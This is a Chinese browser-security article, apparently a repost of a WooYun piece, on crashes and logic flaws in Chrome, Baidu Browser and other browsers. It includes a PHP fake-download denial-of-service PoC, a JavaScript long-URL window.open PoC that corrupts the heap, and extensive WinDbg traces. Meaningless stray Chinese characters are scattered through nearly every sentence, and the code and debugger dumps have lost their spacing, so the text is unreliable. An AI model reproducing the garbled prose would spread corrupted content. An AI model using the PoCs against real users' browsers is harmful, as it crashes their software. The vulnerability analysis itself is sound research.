來源:http://bbs.ichunqiu.com/thread-8956-1-1.html?from=ch
本文轉自wooyun知識庫
window3:data:text/html,...
....
正是如此,由于陰差陽錯我忘了加javascript:恩尾,但是不巧Chrome也錯把window.open()這個當作了相對路徑加酵,更不巧的是它居然搜索到了第二個正斜線/處汰规,并把它后面的內容替換成了window.open适贸。
這也就意味著劣摇,從window2開始侵续,他就開始了一直執(zhí)行同一段代碼的不歸路柜去,難怪會一直占100%cpu呢。
官方的修復是(REV 168294):
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
7
8M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565[/url]
M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565[/url]
url_cannon_relative.cc:+
124if(!is_base_hierarchical){
125//Don't allow relative URLsifthebase scheme doesn't supportit.
126returnfalse;
127}
0x03b 百度瀏覽器下載dos (特殊情況考慮不完善)
HTTP頭中郊酒,Content-Length可以反映這個請求的實體大小[2]遇绞,正是如此,下載的時候燎窘,下載器可以拿它當個參考摹闽,但是HTTP頭是我們可以隨便定義的,如果我們在服務器上做一個假的下載文件褐健,并且把它的大小指定的非常大钩骇,甚至超出硬盤能受得了的大小,或者超出存儲下載文件有多大的那個變量的上限會如何呢?
WooYun: 百度瀏覽器5.0正式版除以零異常永久性拒絕服務
在老版本的百度瀏覽器中訪問此文件:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
7
8#!php
header("Content-type: application/octet-stream");//返回的文件
header("Accept-Ranges: bytes");//按照字節(jié)大小返回
header("Accept-Length: 500");//返回文件大小
header("Content-Length: 500");//返回文件大小
header("Content-Disposition: attachment; filename=B");//這里客戶端的彈出對話框倘屹,對應的文件名
?>
當將Accept-Length該成一個超過其unsigned long上限的值時,百度瀏覽器簡單的把其大小修改為了0慢叨。
關鍵是纽匙,這個0會在之后被用作計算百分比的分母,于是一個奇葩的現(xiàn)象就會出現(xiàn):除以0錯誤拍谐。
過程就是如此簡單:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19xnet!AcquireAsynHttpService+0x278f2:
5bc5b50283d800sbb???? eax,0
5bc5b5058944241c??????? mov???? dword ptr [esp+1Ch],eax
5bc5b50989542418mov???? dword ptr [esp+18h],edx
5bc5b50d0bc0oreax,eax
5bc5b50f7518jne???? xnet!AcquireAsynHttpService+0x27919(5bc5b529)
5bc5b5118b4c2418mov???? ecx,dword ptr [esp+18h] ;文件大小
5bc5b5158b442414mov???? eax,dword ptr [esp+14h] ;已經下載的大小
5bc5b51933d2xor???? edx,edx
xnet!AcquireAsynHttpService+0x2790b:
5bc5b51b f7f1diveax,ecx? ;0/0
;部分寄存器此時的值:
;eax=00000000ebx=00000000ecx=00000000edx=00000000
5bc5b51d8bd8mov???? ebx,eax
5bc5b51f8b442410mov???? eax,dword ptr [esp+10h]
5bc5b523f7f1diveax,ecx
……
5.x版本的瀏覽器的dmp簡單查看一下:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
150:033>!analyze-v
FAULTING_IP:
xnet!AcquireAsynHttpService+2790b
5bc5b51b f7f1diveax,ecx
……(略)
DEFAULT_BUCKET_ID:STATUS_INTEGER_DIVIDE_BY_ZERO
PRIMARY_PROBLEM_CLASS:STATUS_INTEGER_DIVIDE_BY_ZERO
BUGCHECK_STR:APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO
LAST_CONTROL_TRANSFER:from5bc25b4eto5bc5b51b
STACK_TEXT:
0a67f95c5bc25b4e03684b20666e1dbf0383c019xnet!AcquireAsynHttpService+0x2790b
0a67f9845bc24817000000000000000003707e68xnet+0x25b4e
0a67f9ac5bc2158100000000666e1dbf00000000xnet+0x24817
……(略)
0x03c 百度瀏覽器堆損壞 (系統(tǒng)因素考慮不當)
由于分給一個程序的棧的大小是有限的烛缔,而Chrome接受的URL長度確實無限的,所以為了方便轩拨,短url確實可以存在棧中践瓷,但是如果url的長度長于一定限度的時候,存到堆里也未嘗不可亡蓉,但是測試一定要完善晕翠,依然是百度瀏覽器5.x的一個問題:
WooYun: 百度瀏覽器5.0正式版(2.200.0.41563)拒絕服務漏洞
(為了防止一大片都是亂七八糟的數(shù)據(jù),以下能省的我全部省略了)
這個可以很明顯的顯示出來老版本代碼搬到新版本來的弊端砍濒,以及需要達到一定條件下才觸發(fā)的漏洞點淋肾。漏洞需要:Windows Vista以上,使用主板本4.x以下或 5.0版內核版本2.2.210.42889以下的均可觸發(fā)爸邢。
之前以為是像錯誤所報一樣是BUFFER OVERRUN也就是緩沖區(qū)溢出樊卓,其實不然,這個是一個奇怪的堆破壞漏洞杠河。
為了防止堆出現(xiàn)奇怪的調試器友好現(xiàn)象碌尔,先運行瀏覽器,然后Attach到進程上券敌,運行PoC唾戚,可以發(fā)現(xiàn)程序產生了以下異常:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
7STATUS_STACK_BUFFER_OVERRUN encountered
(a18.32d4):Break instruction exception-code80000003(firstchance)
eax=00000000ebx=5dab3f30ecx=76470174edx=0973c565esi=00000000edi=001b7281
eip=7646ff55esp=0973c7ac ebp=0973c828iopl=0nvupei pl zr na pe nc
cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7646ff55cc????????????? int3
回溯一下調用棧:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
7
80:025>kvn
# ChildEBP RetAddr? Args to Child
000973c8285d9e77895dab3f30caa3800a355c7ff5kernel32!UnhandledExceptionFilter+0x5f(FPO:[SEH])
WARNING:Stack unwind informationnotavailable. Following frames may be wrong.
010973cb5c5d79757b001b7281656c696600000000bdlogicmain!BrowserLogicInit+0x198229
020973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b
030973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1
……(略)
查看一下第一個參數(shù),它指向EXCEPTION_POINTERS:
[AppleScript]純文本查看復制代碼
1
20:025>dd5dab3f30
5dab3f305db498a05db498f85d9e7cd01d5be4b5
查看一下異常相關的信息:
[AppleScript]純文本查看復制代碼
1
2
3
4
50:025>.exr5db498a0
ExceptionAddress:5d79757b(bdlogicmain+0x0000757b)
ExceptionCode:c0000409(Stack buffer overflow)
ExceptionFlags:00000001
NumberParameters:0
然后使用它的上下文記錄:
[AppleScript]純文本查看復制代碼
1
0:025>.cxr5db498f8
以此為準重新回溯一下棧:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
70:025>kv
***Stack traceforlastsetcontext-.thread/.cxr resetsit
ChildEBP RetAddr? ArgstoChild
0973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b
0973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1
0973e9b85d98de2d0973ea08c3d06a2600000000bdlogicmain!BrowserLogicInit+0x13e19b
……(略)
貌似崩潰發(fā)生在bdlogicmain+0x757b附近陪白,我們在這個函數(shù)開頭設下斷點并仔細查看一下颈走,Let’s rock:
[AppleScript]純文本查看復制代碼
1
bp bdlogicmain+0x7556
重新打開瀏覽器,運行PoC咱士,這時Debugger停在我們的斷點處立由。我們將前后指令給u出來,得到部分函數(shù)信息:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23633b753d8dbdfcefffff??? lea???? edi,[ebp-1004h]
633b7543e818fdffff????? call??? bdlogicmain+0x7260(633b7260)
633b754883c404addesp,4
633b754b5f????????????? pop???? edi
633b754c85c0test??? eax,eax
633b754e75a3jne???? bdlogicmain+0x74f3(633b74f3)
633b75508bb56ce2ffff??? mov???? esi,dword ptr [ebp-1D94h]
633b755656push??? esi ; 參數(shù):size
633b75578d95fcefffff??? lea???? edx,[ebp-1004h];這是他分配方式的分水嶺:0x1004字節(jié)
633b755d52push??? edx? ; 參數(shù):source
633b755e53push??? ebx??? ;參數(shù):dest
633b755f ff15c4f46363call??? dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6363f4c4)] ; 調用函數(shù):strncpy
633b75658b4dfc????????? mov???? ecx,dword ptr [ebp-4]
633b756883c40caddesp,0Ch
633b756b c6441eff00mov???? byte ptr [esi+ebx-1],0
633b75705e????????????? pop???? esi
633b757133cd??????????? xor???? ecx,ebp
633b757333c0xor???? eax,eax
633b75755b????????????? pop???? ebx
633b7576e823f82400call??? bdlogicmain!BrowserLogicInit+0x19783e(63606d9e);崩潰在此
633b757b8be5mov???? esp,ebp
633b757d5d????????????? pop???? ebp
633b757e c3ret
可以發(fā)現(xiàn)有一個strncpy(esi/*size*/, edx/*source, 棧上的內容*/, ebx/*dest序厉, 申請的堆*/);非橙衲ぃ可疑,而這個申請的堆則是在其類中使用new后memset成0得到的弛房,其實之前這個memset的時候就已經set錯位置了道盏,不過我們先繼續(xù),p過+0x1cff64之后查看一下堆:
(*是我的用戶名,隱掉了)
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
100:025>dd11a20020
11a20020656c69662f2f2f3a552f3a4373726573
11a200307061732f71**************6b736544
11a200402f706f74414141414141414141414141
……blablabla
0:025>da11a20020
11a20020"file:///C:/Users/**********/Desk"
11a20040"top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11a20060"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
……blablabla
果不其然荷逞,URL的完整內容被復制到堆中了媒咳,仔細一看卻不是這兒堆溢出了,而是它初始化的問題導致復制錯位了种远。下面是我重新開的一個實例涩澡,地址稍有變化,不過不影響結果坠敷。Strncpy完畢之后妙同,各寄存器值如下:
[AppleScript]純文本查看復制代碼
1
2
3
4
5eax=00000000ebx=001b7281ecx=0006dca0edx=0975db50esi=0975db50edi=11d50020
eip=68542af4esp=0975cd9c ebp=0975eb54iopl=0nvupei pl nz ac pe nc
cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000216
MSVCR100!strncpy+0x24:
68542af40f8585000000jne???? MSVCR100!strncpy+0xaf(68542b7f)[br=1]
查看堆這個地址的信息:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6
7
8
90:025>!address11d50020
ProcessParametrs007607f0inrange0076000000860000
Environment09e98c48inrange09e100000a210000
11d50000:11d50000-001b8000
Type00020000MEM_PRIVATE
Protect00000004PAGE_READWRITE
State00001000MEM_COMMIT
Usage??? RegionUsageHeap
Handle07790000
可以看到堆的大小遠大于復制的字節(jié)數(shù),這樣可能就不會是堆溢出了膝迎,讓我們再看一次堆的內容:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
110:025>gu
eax=11d50020ebx=11d50020ecx=00000000edx=00414141esi=001b7281edi=001b7281
eip=63617565esp=0975cdac ebp=0975eb54iopl=0nvupei pl zr na pe nc
cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000246
bdlogicmain+0x7565:
636175658b4dfc????????? mov???? ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41
0:025>dd11d50020
11d50020656c69662f2f2f3a552f3a4373726573
11d500307061732f71**************6b736544
11d500402f706f74414141414141414141414141
11d5005041414141414141414141414141414141
接著查看一下11d50000處的堆信息粥帚,這回我們看到了好玩的東西了,從0x20字節(jié)開始限次,網(wǎng)址居然被寫到了堆頭部的_HEAP結構芒涡,直接覆蓋了堆的信息!(其實最開始memset的時候就已經蓋了掂恕,new之后傳來的指針就沒給對)拖陆,這樣當堆釋放的時候系統(tǒng)就會檢測到這個問題,然后報告BUFFER_OVERRUN懊亡,但其實只是一個巧合依啰。
由于系統(tǒng)差異,導致函數(shù)的走向分支出現(xiàn)了問題店枣,指針的偏移沒有正確的寫入速警,在Windows XP之下,偏移被正確的調整了鸯两,但是在高版本系統(tǒng)中這個偏移量卻沒有寫對闷旧,導致了它直接寫到了堆頭部,直接破壞了整個堆的結構钧唐。
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
240:025>dt _HEAP11d50000
ntdll!_HEAP
+0x000Entry:_HEAP_ENTRY
+0x008SegmentSignature:0
+0x00c SegmentFlags:0
+0x010SegmentListEntry:_LIST_ENTRY [0x1b8000-0x1b8000]
+0x018Heap:0x213b4097_HEAP
+0x01c BaseAddress:0x04000000
+0x020NumberOfPages:0x656c6966
+0x024FirstEntry:0x2f2f2f3a _HEAP_ENTRY
+0x028LastValidEntry:0x552f3a43_HEAP_ENTRY
+0x02c NumberOfUnCommittedPages:0x73726573
+0x030NumberOfUnCommittedRanges:0x7061732f
+0x034SegmentAllocatorBackTraceIndex:0x****
+0x036Reserved:0x****
+0x038UCRSegmentList:_LIST_ENTRY [0x********-0x6b736544]
+0x040Flags:0x2f706f74
+0x044ForceFlags:0x41414141
+0x048CompatibilityFlags:0x41414141
+0x04c EncodeFlagMask:0x41414141
+0x050Encoding:_HEAP_ENTRY
+0x058PointerKey:0x41414141
+0x05c Interceptor:0x41414141
…………blabla 后面都是0x41414141
那為什么只會在這樣的PoC中出現(xiàn)呢忙灼,普通的window.open為什么沒有這類問題?bp bdlogicmain+0x7490 在函數(shù)開頭下斷钝侠,可以發(fā)現(xiàn)原因是百度瀏覽器使用了一個邏輯该园,也即<4096的用棧上變量,如果長于4096字節(jié)帅韧,程序才會試圖分配堆并對堆進行錯誤的寫入操作里初。這個問題出現(xiàn)在新窗口的彈出中,必須是新小窗口才會出現(xiàn)忽舟,包括被廣告攔截也會出現(xiàn)双妨。
相關問題點:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34636174e7e874fcffff????? call??? bdlogicmain+0x7160(63617160)
;函數(shù)功能:判斷是否要比4096長
636174ec83c41caddesp,1Ch
636174ef85c0test??? eax,eax
;eax==0:代表長于4096字節(jié)
636174f17413je????? bdlogicmain+0x7506(63617506)
bdlogicmain+0x74f3:
636174f35e????????????? pop???? esi
636174f483c8fforeax,0FFFFFFFFh
636174f75b????????????? pop???? ebx
636174f88b4dfc????????? mov???? ecx,dword ptr [ebp-4]
636174fb33cd??????????? xor???? ecx,ebp
636174fd e89cf82400call??? bdlogicmain!BrowserLogicInit+0x19783e(63866d9e)
636175028be5mov???? esp,ebp
636175045d????????????? pop???? ebp
63617505c3ret
bdlogicmain+0x7506:
636175068db570e2ffff??? lea???? esi,[ebp-1D90h]
6361750c8d85fcefffff??? lea???? eax,[ebp-1004h]
63617512e8d9f9ffff????? call??? bdlogicmain+0x6ef0(63616ef0)
6361751785c0test??? eax,eax
6361751975d8jne???? bdlogicmain+0x74f3(636174f3)
……blabla
bdlogicmain+0x7550://長于4096字節(jié)時:
636175508bb56ce2ffff??? mov???? esi,dword ptr [ebp-1D94h]
6361755656push??? esi
636175578d95fcefffff??? lea???? edx,[ebp-1004h]
6361755d52push??? edx
6361755e53push??? ebx
6361755f ff15c4f48963call??? dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6389f4c4)]
636175658b4dfc????????? mov???? ecx,dword ptr [ebp-4]
Simple PoC:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11#!html
var s="A";
var i=1;
for(i=1;i<599559;i++)
s+="A";
alert(1);
window.open(s);
0x03d 新窗口的那些事兒 (邏輯安全不全面)
很多廠商都意識到了一個問題淮阐,那就是OnBeforeNavigate2的時候,剛chrome.Load()千萬不能改地址欄啊刁品,一定不能改地址欄啊泣特,必須等頁面全部加載完才可以,結果主窗口做的天衣無縫挑随,完美無瑕群扶,之后就忘了小窗口的事情。 小窗口怎么產生呢镀裤?
[AppleScript]純文本查看復制代碼
1
window.open
這個簡單無比,到處可見此類彈窗小廣告缴饭,被廣告攔截的幾率非常大暑劝,可以忽視
WooYun: 傲游瀏覽器4.1.2.2000偽造任意網(wǎng)站漏洞
target 但是這個基本就沒人攔了,但是蛋疼的是帶有url變化的東西都能接上這個颗搂,比如anchor担猛,比如form,這個可以參考:
WooYun: 傲游瀏覽器4.3.0.100 表單請求偽造網(wǎng)站漏洞(可釣魚)
WooYun: 搜狗瀏覽器4.2.2.9903任意網(wǎng)站偽造+自有協(xié)議下XSS*2
廠商也意識到了丢氢,是啊傅联,不加載完不能換地址,一定要到OnDocumentComplete疚察,要到documentComplete()才行蒸走,可是唯獨忘了程序創(chuàng)建新窗口的時候也不能把地址欄給設置上,這樣就導致了很多問題貌嫡。
因為攻擊者彈出來的東西可能并不會去瞎加載一些亂七八糟的網(wǎng)站比驻,他們轉而可能在小窗口上運行腳本,腳本執(zhí)行完之后確實產生了頁面完成事件岛抄,“但是在這上面執(zhí)行的javascript:開頭的地址肯定是不能替換當前地址的呀别惦,那么還是保持之前的地址好了”,這個邏輯仿佛就是“現(xiàn)在我做的事不對夫椭,那么前面做的事一定是正確的”掸掸,結果正中攻擊者下懷,臟數(shù)據(jù)寫到了頁面上蹭秋,臟地址倒也被當作正確地址留下來了扰付。
0x03e xss導致的更嚴重的問題 (插件安全不全面)
越來越多的瀏覽器做了插件,可以讓用戶自行選擇感凤,這是個好事情悯周,因為這樣不必讓本來只想找個小菜刀做飯的用戶一下背了一個核彈發(fā)射場回家。大廠商轉而大度的把裝備扔自己網(wǎng)站上陪竿,大家是要殺人越貨還是要干什么禽翼,盡管自取屠橄。
那么瀏覽器怎么知道用戶啥時候要對自己來一發(fā)火箭炮?External接口倒是可以滿足瀏覽器這個需求闰挡,通過設置可信域锐墙,通常就是瀏覽器自己的插件頁地址或者官網(wǎng),瀏覽器只在可信域上開放external接口长酗,這樣用戶就能在廠商那找到并讓瀏覽器安裝各個插件了溪北。
但是至少不要來XSS,XSS的奇技淫巧大家掌握的比我多夺脾,本來自有協(xié)議就跟個核彈發(fā)射按鈕似的之拨,這XSS一來,直接就把老家送人了咧叭,最可怕的是有些瀏覽器甚至自行關掉了XSS過濾器蚀乔,導致攻擊者只需要做一個payload放到url里就可以讓這些權限高的external調用隨意的在瀏覽器里面跑起來。
例如:
WooYun: 360極速安全瀏覽器存在設計缺陷可導致一序列安全問題
WooYun: 傲游4.3.0.300提示安裝任意插件暴露external接口
0x03f 拖拽跨域 (用戶行為猜測不全)
一直要用最壞的打算來推測用戶能干出來什么出格事兒菲茬,這是個事實吉挣,之前白帽子愛梅小禮發(fā)的拖拽跨域就是個非常一針見血的證明。
本來瀏覽器的超級拖拽行為只有仨考慮:如果是網(wǎng)址婉弹,那么我們就把它打開睬魂;如果是文字我們就把它轉到搜索里面;如果是圖片镀赌,我們就開個新窗口讓用戶自己放大縮小看圖片氯哮。 萬萬沒想到,還有javascript:和vbscript:這種東西佩脊。用戶的鼠標可不聽使喚蛙粘,iframe里面一個javascript拖到外面的頁面里面,腳本可就在外面執(zhí)行起來了威彰。
當然出牧,我想著這還不是最猥瑣的,這種出其不意的事情歇盼,必然有其他地方也能讓我們舉一反三:標簽欄舔痕。
試想標簽欄在開發(fā)的眼里意味著什么?無非兩種可能豹缀,來的是文字伯复,咱搜索;來的是URL邢笙,咱打開啸如。
來的是腳本,那就執(zhí)行了吧氮惯。
0x04 預防&總結
大部分還是從開發(fā)的角度來說吧叮雳,一定要在頁面加載完之后再改變地址想暗,新窗口將地址欄置為about:blank,并在頁面有實際的加載之后再改地址帘不;
在剛啟動就自動執(zhí)行的任務一定要保證更嚴格的可用性说莫,以及要養(yǎng)成良好的編碼習慣,釋放寞焙,引用指針之前一定要確保指針有效储狭,這樣可以確保程序不會一啟動或者每次做的動作大一點就完全崩潰了;
至于邏輯問題捣郊,我覺得這也只好聽天由命辽狈,自求多福了,只好懇請用戶大老爺手下留情呛牲,點鼠標慢一點稻艰,沒事干不要亂拖亂點好了……
參考資料 [1]http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html[2]http://tools.ietf.org/html/rfc2616#section-14.13[3] 《挖0day》,愛無言侈净; 應該就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80[4]http://illmatics.com/Understanding_the_LFH.pdf